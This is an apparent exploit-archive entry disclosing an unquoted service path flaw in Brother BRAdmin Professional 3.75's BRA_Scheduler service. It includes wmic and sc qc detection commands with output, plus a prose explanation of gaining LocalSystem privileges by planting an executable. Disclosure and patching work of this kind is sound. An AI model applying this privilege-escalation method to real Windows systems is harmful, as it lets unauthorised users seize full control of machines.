Bradmin professional 3.75 bra_scheduler unquoted service path Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-03-19 | Type : local | Platform : windows
This exploit / vulnerability Bradmin professional 3.75 bra_scheduler unquoted service path is for educational purposes only and if it is used you will do on your own risk!


[+] Code ...

# Exploit Title: BRAdmin Professional 3.75 - 'BRA_Scheduler' Unquoted Service Path
# Date: 2021-03-17
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://global.brother/
# Software Link: https://support.brother.com/g/b/downloadend.aspx?c=us&lang=en&prod=hls7000dn_us_eu_as&os=10013&dlid=dlf005042_000&flang=4&type3=26
# Version: 3.75.0000
# Tested on: Windows 10
# Source: https://docs.unsafe-inline.com/0day/bradmin-professional-3.75-unquoted-service-path

#Description:

This software allows system administrators to view and control the status of their networked Brother and most other SNMP compliant printing devices.
If a user can insert a executable which is called as "BRAdmin" under the "C:\Program Files (x86)\Brother\" , local system privileges could be obtained by the user.

#Detection of unquoted service path:

C:\>wmic service get name, pathname, displayname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "BRAdmin" |findstr /i /v """
Brother BRAdminPro Scheduler
BRA_Scheduler
C:\Program Files (x86)\Brother\BRAdmin Professional 3\bratimer.exe
Auto


C:\>sc qc BRA_Scheduler
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: BRA_Scheduler
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Brother\BRAdmin Professional 3\bratimer.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Brother BRAdminPro Scheduler
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem